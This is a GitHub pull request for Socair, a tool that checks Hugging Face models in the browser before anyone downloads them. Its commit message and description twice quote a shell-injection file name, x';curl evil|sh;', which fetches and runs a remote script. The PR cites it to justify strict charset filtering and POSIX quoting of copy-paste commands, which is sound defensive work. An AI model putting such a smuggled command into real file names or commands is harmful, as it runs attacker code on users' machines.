Repository navigation
Conversation
…testation engine.PreviewDir and engine.PreviewGGUF run the checks on a model where it sits on the hub, reading in place with the hashes the hub states. They return an engine.Preview, a different type from the report: no promotion state, assurance level, issuer, or bounded statement, so nothing can sign or promote it. A check that reads a whole file (pickle, ONNX, Keras) is NOT_TESTED, named as the preview's. Every preview names the full commit it read, on huggingface.co only. No organization data and no Tier 2. Only the preview passes the directory scan stated hashes; a source check pins that every scan passes nil. modeldir.List walks a directory without opening a file. cmd/socair-preview builds the engine for js/wasm (13.6 MB, 2.6 MB brotli). tools/socair-preview holds the page's modules: a read-only filesystem over the hub through range requests that has no way to take a token and refuses gated and private repos, and the code that lists, selects, mounts, and runs. A repo of GGUF quants previews one quant. Releases carry the wasm, its loader, and both modules, reproducible and attested. On deepseek-ai/DeepSeek-V3 (688.6 GB) the preview read 59.6 MB in 19 s. Signed-off-by: Christopher Maher <chris@mahercode.io>
…te the rest The preview's copy-paste commands carry the repo id, the commit, and file names from the hub, where anyone can name a file x';curl evil|sh;'. A value outside a strict charset now gets no command and a note saying why, and every value that passes is single-quoted with a POSIX quoter. Tests cover ', ;, $(, a backtick, a newline, and a space, and check that a real shell reads each quoted value back as one word. Signed-off-by: Christopher Maher <chris@mahercode.io>
This branch has not been deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Runs Socair's checks on a model where it sits on Hugging Face, before anyone downloads it: the engine compiled to WebAssembly, in the visitor's browser, reading each file through HTTP range requests. It fetches only what the checks read. See docs/preview.md.
A preview is never an attestation
engine.PreviewDirandengine.PreviewGGUFreturn anengine.Preview, not areport.Document: no promotion state, assurance level, issuer, signature, or bounded statement.attest.Signand the airlock take only a report, so nothing can sign or promote a preview.TestPreviewCarriesNoVerdictwalks the type at every depth and the JSON keys. The same detector finds those fields in areport.Document, which shows it can fire.PreviewHashesstatement says this, and a fixedPreviewNoticesays the rest.TestPreviewReadsInPlaceWithStatedHashesstates a wrong weight hash on purpose and requires it reported as stated. It also pointsSOCAIR_SCAN_TMPat a missing volume, so a preview that copied would fail.TestScanNeverTakesStatedHashesparses the package and fails if any other call passes non-nil, and checks that a full scan's subject is the computed digest. A header-only directory scan is still refused.TestPreviewLeavesWholeFileChecksNotTestedshows a full scan FAILs the same fixture.TestPreviewNamesTheCommit).tools/socair-preview/hffs.jshas no way to take a token.node --test tools/socair-preview/preview.test.mjs, against a fake hub, pins three things:Authorizationheader;x';curl evil|sh;'.[A-Za-z0-9._/*-], a 40-hex commit, a 64-hex digest) gets no command at all, only a note saying why. It is never escaped past.',;,$(, a backtick, a newline, and a space, and check that/bin/shreads each quoted value back as one word. Removing either layer fails them.Each guard was falsified: removing it fails its test.
Fidelity and size
TestPreviewFindsWhatAScanFindschecks that a preview gets the same rows, and the same digest when the stated hashes are true, as a full scan.Live runs (Node, 2026-10-19):
On DeepSeek-V3 all 164 layouts PASS and Remote code is a LEAD. A GGUF repo previews one quant (Q4_K_M by default); reading all 24 took 94 s.
meta-llama/Llama-3.2-1Bis refused as gated.The wasm is 13.6 MB raw, 3.6 MB gzip, 2.6 MB brotli.
Release and CI
scripts/build-release.shbuildssocair-preview_<v>.wasmand copies Go'swasm_exec.jsand the two page modules assocair-preview_<v>_*.js. All of them are listed inSHA256SUMS, and the release attests them (dist/socair-preview_*added to both subject globs).build-release.sh --checkreproduces byte for byte locally.GOOS=js GOARCH=wasmvet and build ofcmd/socair-preview, since the native build skips it.Other changes
pickle.LooksFor, so the preview's NOT_TESTED row states it word for word. This is a no-rule-change fingerprint row indocs/check-set.md; check set staystier1/0.11.ScanWith's single-file path moves intoscanFile, unchanged, so a preview can run it without the environment's reference data.Not in this PR
The page at socair.ai/try is in the site's repository. It loads these release assets, so it waits for a release that carries them.
This conflicts lightly with #291 and #294 in
docs/check-set.mdandscandir.go. Whichever merges second rebases. Once #294 merges, a directory preview grades each GGUF's template itself, and the separate GGUF preview could be dropped.